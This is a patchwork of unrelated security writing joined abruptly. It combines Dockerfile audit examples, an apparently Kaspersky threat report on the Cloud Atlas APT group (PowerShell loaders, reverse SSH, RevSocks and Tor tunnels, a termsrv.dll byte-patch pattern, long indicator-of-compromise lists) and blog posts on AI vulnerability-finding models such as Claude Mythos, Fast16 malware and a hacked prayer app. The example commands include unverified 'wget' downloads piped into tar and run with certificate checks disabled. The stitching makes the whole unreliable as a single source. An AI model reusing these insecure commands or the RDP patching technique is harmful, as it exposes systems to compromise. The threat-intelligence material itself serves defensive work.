RUN /bin/sh -c wget -qO- ""<a href="http://acestream.org/downloads/linux/acestream_3.1.49_debian_9.9_x86_64.tar.gz">http://acestream.org/downloads/linux/acestream_3.1.49_debian_9.9_x86_64.tar.gz</a>"" | tar --extract --gzip -C /opt/acestream
Using HTTP without verifying the archive’s integrity creates conditions for a man-in-the-middle attack during the image build phase. An attacker controlling the communication channel or DNS can replace the archive with malicious content, which will compromise the container and the entire environment in which it runs.
To mitigate the risks, you can configure connections to web resources to use HTTPS only — if the resource supports this protocol. You can also download the archive without extracting it, compare its checksum (SHA256) with the checksum from a trusted source, and only then extract it. It is advisable to store the verified archive in an internal artifact repository to avoid direct downloads from the network.
There will still be a MitM risk even if certificate verification is disabled:
wget --no-check-certificate<a href="https://github.com/phpvirtualbox/phpvirtualbox/archive/refs/heads/7.2-dev.zip"> https://github.com/phpvirtualbox/phpvirtualbox/archive/refs/heads/7.2-dev.zip</a> -O phpvirtualbox.zip
The absence of TLS certificate verification allows an attacker controlling the network segment to replace the downloaded ZIP archive with malicious content. Since the archive contains PHP code that will be executed by the web server, compromise during the build phase will result in the deployment of a backdoor or data leakage.
To mitigate the risks, remove the --no-check-certificate flag; after downloading, calculate the SHA256 hash of the archive and verify it against a known reference value (the release page or a local repository of trusted hashes). Additionally, consider using a fixed release (tag) rather than the floating 7.2-dev branch.
Docker containers have become a very popular means of deploying software, and attackers are by no means oblivious to this trend. They are rapidly adding software vulnerabilities and configuration errors to their arsenal and carrying out attacks on supply chains. They can compromise container infrastructure for a wide variety of purposes, from cryptocurrency mining to encrypting data for ransom or stealing information critical to the company.
Our research found that 64 out of 100 container images for popular applications contain critically vulnerable software, and only 10% are fully up to date. We also identified numerous insecure configurations, including passwords stored in plaintext in Dockerfiles and excessive privileges granted to users and processes.
To detect and prevent these threats, it is essential to strictly adhere to security measures: audit image configurations, securely manage secrets used in images, apply security updates in a timely manner, scan their contents for malware with every update, and follow industry-standard best practices for enhancing security.
This approach requires specialized solutions built to accommodate the unique characteristics of container environments. Kaspersky Container Security ensures the security of containerized applications at every stage of their lifecycle, from development to operation. The product protects an organization’s business processes, helps ensure compliance with industry standards and security regulations, and enables the implementation of secure software development practices.
In 2025, we observed pervasive SSH tunnel activity, which has remained active into 2026, affecting many government organizations and commercial companies in Russia and Belarus. Behind some of this activity is Cloud Atlas, a group we have known since 2014. During our investigation, we identified new tools used by this group, as well as indicators of compromise.
The group is back to sending out archives containing malicious shortcuts that launch PowerShell scripts. This technique is employed in addition to the previously described use of malicious documents, which exploit an old vulnerability in the Microsoft Office Equation Editor process (CVE-2018-0802) to download and execute malicious code. We have observed the use of third-party public utilities (Tor/SSH/RevSocks) to gain a foothold in infected systems and create additional backup control channels.
As for the primary compromise, Cloud Atlas remains consistent in using phishing. In the observed campaigns, the attackers emailed a ZIP archive containing an LNK file as an attachment.
Malware execution flow
Attackers use LNK shortcuts to covertly execute PowerShell scripts hosted on external resources. The command line of the shortcut:
Example of the PowerShell script downloaded and executed by the shortcut:
Example of the PowerShell script downloaded by the shortcut
Actions performed by the downloaded PowerShell:
| Step | Action | Description |
| 1 | Drops “$temp\fixed.ps1” | Pre-staging: places the main payload locally in advance to ensure an execution capability independent of subsequent network connectivity or C2 availability. |
| 2 | Creates “Run” registry key “YandexBrowser_setup” for “$temp\fixed.ps1” startup
|
Early persistence: guarantees execution upon the next logon or reboot. If the script is interrupted during later stages, the payload will still activate automatically. |
| 3 | Downloads and drops “$temp\rar.zip” Extracts “*.pdf” from the downloaded “$temp\rar.zip” |
Payload delivery: retrieves the decoy archive from the remote server to prepare user-facing content for the distraction phase. |
| 4 | Extracts “*.pdf” from the downloaded “$temp\rar.zip” | Decoy preparation: unpacks the legitimate-looking document so it can be executed silently without requiring user interaction. |
| 6 | Opens extracted decoy document “*.pdf” with user’s default software | User distraction: opens a convincing document to maintain user engagement and creates a legitimate workflow appearance to buy additional 30–120 seconds for background operations. |
| 6 | Executes “taskkill.exe /F /Im winrar.exe” | Process concealment: terminates the archive extractor to prevent the user from seeing the archive contents or noticing unexpected file extraction activity. |
| 7 | Searches and deletes “rar.zip”, “*.pdf.zip” and “*.pdf.lnk” | Anti-forensic cleanup: removes the initial infection artifacts before activating the main payload, reducing the number of disk traces available for incident response or EDR correlation. |
| 8 | Executes “$temp\fixed.ps1” | Controlled execution: launches the main payload only after persistence is secured, the user is distracted, and access traces are cleaned up. |
The primary purpose of the Fixed.ps1 script is to deliver and install subsequent malware onto the compromised system, specifically VBCloud and PowerShower. Fixed.ps1 establishes persistence (by adding itself to registry Run keys), creates a decoy for the user (by opening a PDF document), and executes the next stages of the attack.
Example of the fixed.ps1::Payload (VBCloud dropper)
This module functions as a dropper for the VBCloud backdoor. It drops two files onto the infected machine:
This module installs a second backdoor called PowerShower on the system. We don’t have the specific script that performs this installation, but we assume it’s performed by a script similar to fixed.ps1::Payload (VBCloud dropper).
Unlike VBCloud, which focuses on file theft, PowerShower is primarily used for network reconnaissance and lateral movement within the victim’s infrastructure. PowerShower can perform the following tasks:
PowerShower is dropped onto the system via the path ‘C:\Users\[username]\Pictures\googleearth.ps1’.
Contents of the googleearth.ps1(PowerShower)
PowerShower downloads an additional script for stealing credentials. It performs the following actions:
The full launch chain looks like this:
The full Base64-decoded script is given below.
Moving laterally across the victim’s network, the attackers executed a suspicious PowerShell script named rdp_new.ps1 (MD5 1A11B26DD0261EF27A112CE8B361C247):
The script is designed to allow multiple RDP sessions in Windows 10 by patching the termsrv.dll file. Termsrv.dll is the core Windows library that enforces Remote Desktop Services rules.
By default, Windows limits the number of simultaneous RDP sessions. Removing this restriction allows attackers to operate on the machine in the background without disconnecting the legitimate user, thereby reducing the likelihood of detection.
At first, the script enables RDP on the firewall and downgrades the RDP security settings:
Before modifying termsrv.dll, the script takes ownership and assigns itself full permissions. Then the script finds the sequence of bytes 39 81 3C 06 00 00 ?? ?? ?? ?? ?? ?? and replaces it with B8 00 01 00 00 89 81 38 06 00 00 90. After these manipulations, the script restarts the RDP service.
Example of script
The patched version allows multiple concurrent logins so attackers can stay connected without disrupting the legitimate user, thereby reducing suspicion.
As mentioned above, during this wave of attacks, the adversaries widely deployed reverse SSH tunnels to many hosts of interest. The compromised machine initiates an SSH connection to an attacker-controlled server, which allows attackers to bypass standard firewall rules via establishing outbound connections.
That way, even if the primary backdoor is discovered, the attackers can maintain control through the SSH tunnel.
To install a reverse SSH tunnel on a victim’s host, the attackers run VBS scripts via PAExec or PsExec.
We’ve seen three types of scripts:
To achieve persistence, the attackers added a new scheduled task in Windows:
In some cases, before establishing a reverse SSH tunnel, attackers set new access permissions to the folder containing the private key to prevent the legitimate user or system administrators from easily accessing or modifying it:
Some OpenSSH binaries used by the attackers had their imports modified. Instead of libcrypto.dll, the SSH executable imports syruntime.dll, which was placed in the same folder as the binary. This was likely done to evade detection and ensure stealth.
In addition, we found a portable version of OpenSSH, presumably compiled by the adversaries:
In addition to Reverse SSH tunnels, the attackers installed RevSocks using the same infrastructure. RevSocks is an alternative tool to SSH for establishing tunnels and proxy connections, written in Golang. This tool allows direct connection to workstations on the local network. It also allows attackers to gain access to other segments of the victim’s network by using the machine as a gateway. In some cases, C2 addresses were hardcoded into the binary; in other cases, the C2 was passed in command line arguments.
There were also reverse SOCKS samples with hardcoded C2 addresses:
To maintain control over the compromised host, the Tor network was used in some cases. A minimal set of a Tor executable and configuration files, necessary for launching HiddenService, was copied to the system directories of infected devices. The name of the Tor Browser executable file was modified. As a result, the infected machine was accessible via RDP from the Tor network when accessing the generated .onion domain.
Below is an example of a configuration file for routing connections from Tor to RDP ports on the local network, as well as example command lines for logging into Tor.
Example of TOR configuration file
We analyzed a new Cloud Atlas tool, PowerCloud. It collects user data with administrator privileges and writes this information to Google Sheets in Base64 format.
The tool represents an obfuscated PowerShell script. In most cases, it is packaged into an executable file using the PS2EXE utility, but we have also encountered variants in the form of a separate PowerShell script.
To find administrators on the victim host, the tool executes the following command:
This information is appended with the computer name and current date, the data is encoded in base64, and then the collected data is added to an existing Google Sheet.
PowerCloud script
Additionally, the attackers used another PowerShell script (MD5 5329F7BFF9D0D5DB28821B86C26D628F), compiled into an executable file via PS2EXE, which checks whether browser processes (Chrome, Edge, Firefox, and other) are running. This helps detect when the user is working on the computer. This can be used to choose the optimal time for conducting attacks (for example, when the user is away but their browser is still open) or simply to gather information about the victim’s habits.
The information about running browsers is written to a log file on the local host.
Fragment of the deobfuscated script
According to our telemetry, in late 2025 and early 2026, the identified targets of the described malicious activities are located in Russia and Belarus. The targeted industries mostly include government agencies and diplomatic entities.
We attribute the activity described in this report to the Cloud Atlas APT group with a high degree of confidence. The group used techniques and tools described previously, such as the initial access vector, the Python script for information gathering, and the Tor application for forwarding ports to the Tor network. The victim profile and geography also matches the Cloud Atlas targets.
We couldn’t help but notice some parallels with recent Head Mare activity. The PhantomHeart backdoor (available in Russian only), attributed to Head Mare and used to create an SSH tunnel, was placed in directories actively used by Cloud Atlas:
However, TTPs are still differentiated.
For more than ten years, the Cloud Atlas group has continued its activities and expanded its arsenal. Over the course of last year, many targeted campaigns in general were found to employ ReverseSocks, SSH and Tor, and the use of these utilities was no exception for Cloud Atlas. Creating such backup control channels using publicly available utilities significantly complicates the complete disruption of attackers’ actions on compromised systems. We will continue to closely monitor the group’s activity and describe their new tools and techniques.
PowerCloud
7A95360B7E0EB5B107A3D231ABBC541A C:\Windows\wininet.exe
C0D1EAA15A2CEFBAB9735787575C8D8E C:\Windows\LiveKernelReports\update.exe
D5B38B252CF212A4A32763DE36732D40 C:\Windows\ime\imejp\dicts\i39884.exe
3C75CEDB1196DF5EAB91F31411ED4B33 C:\pla\reports.exe
42AC350BFBC5B4EB0FEDBA16C81919C7 C:\ProgramData\update_[redacted].exe
493B901D1B33EB577DB64AADD948F9CE C:\Windows\migration\wtr\MicrosoftBrowser.exe
2CABB721681455DAE1B6A26709DEF453 C:\Windows\pla\reports\winlog.exe
1B39E86EB772A0E40060B672B7F574F1 C:\Windows\System32\timecontrolsvc\vmnetdrv64.exe
1D401D6E6FC0B00AAA2C65A0AC0CFD6B C:\Windows\setup\scripts\install\software\activation\aact\dfsvc.exe
40A562B8600F843B717BC5951B2E3C29 C:\Windows\branding\scat.exe
F721A76DEB28FD0B80D27FCE6B8F5016 C:\Windows\ime\imekr\dicts\dfsvc.exe
D3C8AFD22BAA306FF659DB1FAC28574A C:\ProgramData\update_[redacted].exe
6D7B2D1172BBDB7340972D844F6F0717 C:\Users\[redacted]\AppData\Local\1c\1cv8\1cv8ud.exe
C:\Users\[redacted]\AppData\Local\1c\1cv8\svc.exe
9769F43B9DE8D19E803263267FA6D62E C:\Users\[redacted]\AppData\Local\1c\1cv8\1cv8ud.exe
63B6BE9AE8D8024A40B200CCCB438F1D C:\Windows\notepad.exe
6AA586BCC45CA2E92A4F0EF47E086FA1 C:\Windows\splwow32.exe
EBA3BCDB19A7E256BF8E2CC5B9C1CCA9 C:\Users\[redacted]\Desktop\soc\stant.exe
B4E183627B7399006C1BC47B3711E419 C:\WINDOWS\ime\service.exe
F56B31A4B47AD3365B18A7E922FBA1A8 dfsvc.exe
F6F62456FB0FCC396FB654CBED339BC3 –
25C8ED0511375DCA57EF136AC3FA0CCA C:\branding\dwmw.exe
Browser checker
5329F7BFF9D0D5DB28821B86C26D628F C:\ProgramData\checker_[redacted].exe
ReverseSocks
2B4BA4FACF8C299749771A3A4369782E C:\Windows\PLA\System\bounce.exe
C:\Windows\pla\print_status.exe
BA9CE06641067742F2AFC9691FAFF1DC C:\ProgramData\hp\client.exe
FB0F8027ACF1B1E47E07A63D8812ED50 C:\Windows\System32\timecontrolsvc\vmnetdrv64.exe
BBF1FA694122E07635DEEAC11AD712F8 C:\Windows\System32\HostManagement.exe
F301AA3D62B5095EEC4D8E34201A4769 C:\Windows\ime\imejp\msfu.exe
F9C3BBE108566D1A6B070F9C5FB03160 C:\Windows\ime\imetc\help\IMTCEN14.exe
Malicious MS Office documents
369B75BDCDED16469EDE7AB8BEDCFAE1
9EAAE9491F6A50D6DF0BE393734A44CB
3E6E9DF00A764B348EC611EE8504ACA0
9BD788F285E32A05E6591D1EB36EBFFC
F42085522EC2EBB16EDCF814E7C330AD
2042EB5D52F0B535A1CE6B6F954C8C2B
2AA1E9765EF6B00B94A9B6BE0041436A
36120F5E9411BCBAC7104EF3FA964ED2
5000A353399500BC78381DC95B6ED2DC
579A9952D31CAD801A3988DBE7914CE7
867B634588C0FD6B26684D502C15AB03
38FA4306FA4406BA31CF171AF4D36E34
83EDDE9F7EEEFAC0363413972F35572B
CC751619BFEC0DC4607C17112B9E3B2C
A632858F14B36F03D0F213F5F5D6BFF2
097CA205AD9E3B72018750280904718C
69121C36EB8BF77962DCA825FCFFD873
C5702EB250F855C8C872FFFB9BB656ED
ED34F5A136FBA4FDEA976570FAA33ED7
0577DB70844E88B32B954906E2F20798
28ECF8FB6719E14231B94B4D37629B0E
0857C84B62289A1A9F29E19244E9A499
0C514E137860F489E3801213460EF938
50568B1F9335A7E3BA4E5DF035A8FB86
7F776AD200287D6DE14A29158C457179
51F7F794ED43FB90D0F8EBBB5EFFE628
B8C753DD254509FBA5077FFD5067EAB0
BC3739DEC8CD8F54F3F60A85F3ED600E
EC076CD21C483A40156F4E40D08DADED
216CB7F31D383C0DD892B284DF05A495
116F59E70A9DF97F4ADAEA71EECB1E9A
7242AC065B50BCDE9308756B49DBADCB
8158552950D2E13B075001CE0C52AA97
A75DBED984963B9AB21309C5B2F8FD9B
0320DD389FDBAB25D46792BD2817675E
5339D1A666F3E40FE756505CF1D87D4B
67D7E3AEEB673BF60C59361C12A4ED81
89572F0ED20791A5AC9FC4267D67CCB0
B6AAE073E7BFEBF4D643C2BBEB5C02E1
344CA9EA07CD4AC90EF27F8890D4EC05
Reverse SSH/Socks domains
tenkoff[.]org
cloudguide[.]in
goverru[.]com
kufar[.]org
ultimatecore[.]net
spbnews[.]net
onedrivesupport[.]net
Malicious and compromised domains used in MS Office documents
amerikastaj[.]com
bigbang[.]me
paleturquoise-dragonfly-364512.hostingersite[.]com
wizzifi[.]com
totallegacy[.]org
mamurjor[.]com
landscapeuganda[.]com
lafortunaitalian.co[.]uk
kommando[.]live
internationalcommoditiesllc[.]com
humanitas[.]si
fishingflytackle[.]com
firsai.tipshub[.]net
alnakhlah.com[.]sa
allgoodsdirect.com[.]au
agenciakharis.com[.]br
Powershell payload staging
istochnik[.]org
znews[.]neti
investika-club[.]com
194.102.104[.]207
46.17.45[.]56
46.17.45[.]49
46.17.44[.]125
46.17.44[.]212
185.22.154[.]73
194.87.196[.]163
195.58.49[.]9
93.125.114[.]193
93.125.114[.]57
45.87.219[.]116
37.228.129[.]224
185.53.179[.]136
185.126.239[.]77
5.181.21[.]75
146.70.53[.]171
45.15.65[.]134
185.250.181[.]207
81.30.105[.]71
VBS scripts
WriteToSchedulerKillSSH.vbs
Create_task_day.vbs
WriteToSchedulerGenerateKey.vbs
C:\Windows\INF\Run.vbs
c:\Windows\INF\install.vbs
Update.vbs
c:\Windows\PLA\System\Gen.vbs
C:\Windows\INF\GenK.vbs
c:\Windows\PLA\System\Kill.vbs
c:\Windows\PLA\System\Run.vbs
ssh.exe
c:\Windows\ime\imejp\Asset.exe
c:\Windows\PLA\System\conhosts.exe
c:\Windows\INF\BITS\esentprf.exe
c:\Windows\INF\MSDTC\RuntimeBrokers.exe
c:\Windows\inf\diagnostic.exe
ReverseSocks
C:\Windows\PLA\System\bounce.exe
C:\ProgramData\hp\client.exe
C:\Windows\System32\timecontrolsvc\vmnetdrv64.exe
Tor client
C:\Windows\Resources\Update\Intel.exe
C:\Windows\INF\package.exe
Good report:
Executive Summary: Let’s say you wanted to make sure that your AI is secure. Can you just maximize the security and privacy benchmark and call it a day? Nope, because benchmarks don’t actually work for measuring AI capabilities (even when they are NOT emergent systemic properties like security). So let’s take a step back: how do you measure security in the first place? Good question. Over the last 30 years, security engineering for software evolved from black box penetration testing, through whitebox code analysis and architectural risk analysis to de facto process-driven standards like the Building Security In Maturity Model (BSIMM). Software had a very deep impact on business operations, and it appears that AI is going to have an even deeper impact. Will a software security-like measurement move work for AI? Probably. In the meantime we can make real progress in AI security by cleaning up our WHAT piles and managing risk by identifying and applying good assurance processes. (Spoiler alert: no matter what we do, we still don’t get a security meter for AI, so we need to be extra vigilant about security.)
The UK’s AI Security Institute evaluated GPT-5.5’s ability to find security vulnerabilities, and found that it is comparable to Claude Mythos. Note that the OpenAI model is generally available.
Here is the Institute’s evaluation of Mythos.
And here is an analysis of a smaller, cheaper model. It requires more scaffolding from the prompter, but it is also just as good.
Researchers have reverse-engineered a piece of malware named Fast16. It’s almost certainly state-sponsored, probably US in origin, and was deployed against Iran years before Stuxnet:
“…the Fast16 malware was designed to carry out the most subtle form of sabotage ever seen in an in-the-wild malware tool: By automatically spreading across networks and then silently manipulating computation processes in certain software applications that perform high-precision mathematical calculations and simulate physical phenomena, Fast16 can alter the results of those programs to cause failures that range from faulty research results to catastrophic damage to real-world equipment.”
Another news article.
Lots of interesting details at the links.
Last week, Anthropic pulled back the curtain on Claude Mythos Preview, an AI model so capable at finding and exploiting software vulnerabilities that the company decided it was too dangerous to release to the public. Instead, access has been restricted to roughly 50 organizations—Microsoft, Apple, Amazon Web Services, CrowdStrike and other vendors of critical infrastructure—under an initiative called Project Glasswing.
The announcement was accompanied by a barrage of hair-raising anecdotes: thousands of vulnerabilities uncovered across every major operating system and browser, including a 27-year-old bug in OpenBSD, a 16-year-old flaw in FFmpeg. Mythos was able to weaponize a set of vulnerabilities it found in the Firefox browser into 181 usable attacks; Anthropic’s previous flagship model could only achieve two.
This is, in many respects, exactly the kind of responsible disclosure that security researchers have long urged. And yet the public has been given remarkably little with which to evaluate Anthropic’s decision. We have been shown a highlight reel of spectacular successes. However, we can’t tell if we have a blockbuster until they let us see the whole movie.
For example, we don’t know how many times Mythos mistakenly flagged code as vulnerable. Anthropic said security contractors agreed with the AI’s severity rating 198 times, with an 89 per cent severity agreement. That’s impressive, but incomplete. Independent researchers examining similar models have found that AI that detects nearly every real bug also hallucinates plausible-sounding vulnerabilities in patched, correct code.
This matters. A model that autonomously finds and exploits hundreds of vulnerabilities with inhuman precision is a game changer, but a model that generates thousands of false alarms and non-working attacks still needs skilled and knowledgeable humans. Without knowing the rate of false alarms in Mythos’s unfiltered output, we cannot tell whether the examples showcased are representative.
There is a second, subtler problem. Large language models, including Mythos, perform best on inputs that resemble what they were trained on: widely used open-source projects, major browsers, the Linux kernel and popular web frameworks. Concentrating early access among the largest vendors of precisely this software is sensible; it lets them patch first, before adversaries catch up.
But the inverse is also true. Software outside the training distribution—industrial control systems, medical device firmware, bespoke financial infrastructure, regional banking software, older embedded systems—is exactly where out-of-the-box Mythos is likely least able to find or exploit bugs.
However, a sufficiently motivated attacker with domain expertise in one of these fields could nevertheless wield Mythos’s advanced reasoning capabilities as a force multiplier, probing systems that Anthropic’s own engineers lack the specialized knowledge to audit. The danger is not that Mythos fails in those domains; it is that Mythos may succeed for whoever brings the expertise.
Broader, structured access for academic researchers and domain specialists—cardiologists’ partners in medical device security, control-systems engineers, researchers in less prominent languages and ecosystems—would meaningfully reduce this asymmetry. Fifty companies, however well chosen, cannot substitute for the distributed expertise of the entire research community.
None of this is an indictment of Anthropic. By all appearances the company is trying to act responsibly, and its decision to hold the model back is evidence of seriousness.
But Anthropic is a private company and, in some ways, still a start-up. Yet it is making unilateral decisions about which pieces of our critical global infrastructure get defended first, and which must wait their turn.
It has finite staff, finite budget and finite expertise. It will miss things, and when the thing missed is in the software running a hospital or a power grid, the cost will be borne by people who never had a say.
The security problem is far greater than one company and one model. There’s no reason to believe that Mythos Preview is unique. (Not to be outdone, OpenAI announced that its new GPT-5.4-Cyber is so dangerous that the model also will not be released to the general public.) And it’s unclear how much of an advance these new models represent. The security company Aisle was able to replicate many of Anthropic’s published anecdotes using smaller, cheaper, public AI models.
Any decisions we make about whether and how to release these powerful models are more than one company’s responsibility. Ultimately, this will probably lead to regulation. That will be hard to get right and requires a long process of consultation and feedback.
In the short term, we need something simpler: greater transparency and information sharing with the broader community. This doesn’t necessarily mean making powerful models like Claude Mythos widely available. Rather, it means sharing as much data and information as possible, so that we can collectively make informed decisions.
We need globally co-ordinated frameworks for independent auditing, mandatory disclosure of aggregate performance metrics and funded access for academic and civil-society researchers.
This has implications for national security, personal safety and corporate competitiveness. Any technology that can find thousands of exploitable flaws in the systems we all depend on should not be governed solely by the internal judgment of its creators, however well intentioned.
Until that changes, each Mythos-class release will put the world at the edge of another precipice, without any visibility into whether there is a landing out of view just below, or whether this time the drop will be fatal. That is not a choice a for-profit corporation should be allowed to make in a democratic society. Nor should such a company be able to restrict the ability of society to make choices about its own security.
This essay was written with David Lie, and originally appeared in The Globe and Mail.
Kaspersky Security Services provide a comprehensive cybersecurity ecosystem, taking enterprise threat protection to another level. Services like Kaspersky Managed Detection and Response and Compromise Assessment allow for timely detection of threats and cyberattacks. SOC Consulting provides a practical approach ensuring the corporate infrastructure stays secured, while Incident Response is suited for timely remediation with a maximized recovery rate.
High-level overview of the MDR, IR and CA connection
This new report brings together statistics across regions and industries from our Managed Detection and Response and Incident Response services, and for the first time, it also includes insights from our Compromise Assessment and SOC Consulting services — all to provide you with more comprehensive view of different aspects of corporate information security worldwide.
Provision of Kaspersky’s MDR and IR services follows a global approach. The majority of customers accounted for the CIS (34.7%), the Middle East (20.1%), and Europe (18.6%).
Distribution of customers by geographical region, 2025
Following the previous year’s numbers, in 2025, the MDR infrastructure received and processed an average of 15,000 telemetry events per host every day, generating security alerts as a result. These alerts are first processed by AI-powered detection logic, after which Kaspersky SOC analysts handle them as required. Overall, a total of approximately 400,000 alerts were generated in 2025. After counting out false positives, 39,000 alerts were further investigated.
MDR telemetry statistics, 2025
The distribution of remediation requests by industry has slightly changed as compared to previous years’ pattern. Government (18.5%) and industrial (16.6%) organizations are still the most targeted industries in regards to cyberattacks that require incident response activities. However, this year, the IT sector saw a growth in the number of IR requests, eventually being placed third in the overall industry distribution rankings and thus replacing financial organizations, which were targeted less often than in 2024. This is equally true for smaller-scale attacks that can be contained and remediated through automated means — the only difference is that medium- and low-severity incidents are more often experienced by financial organizations.
Distribution of all incidents by industry sector, 2025
This section presents key findings and trends in cyberattacks in 2025:
The full 2026 Global Report provides additional information about cyberattacks, including real-world cases discovered by Kaspersky experts. We also describe SOC Consulting projects and Compromise Assessment requests. The report includes comprehensive analysis of initial attack vectors in correlation with the MITRE ATT&CK tactics and techniques and the full list of vulnerabilities that we detected during Incident Response engagements.
Wired has the story:
Shortly after the first set of explosions, Iranians received bursts of notifications on their phones. They came not from the government advising caution, but from an apparently hacked prayer-timing app called BadeSaba Calendar that has been downloaded more than 5 million times from the Google Play Store.
The messages arrived in quick succession over a period of 30 minutes, starting with the phrase ‘Help has arrived’ at 9:52 am Tehran time, shortly after the first set of explosions. No party has claimed responsibility for the hacks.
It happened so fast that this is most likely a government operation. I can easily envision both the US and Israel having hacked the app previously, and then deciding that this is a good use of that access.
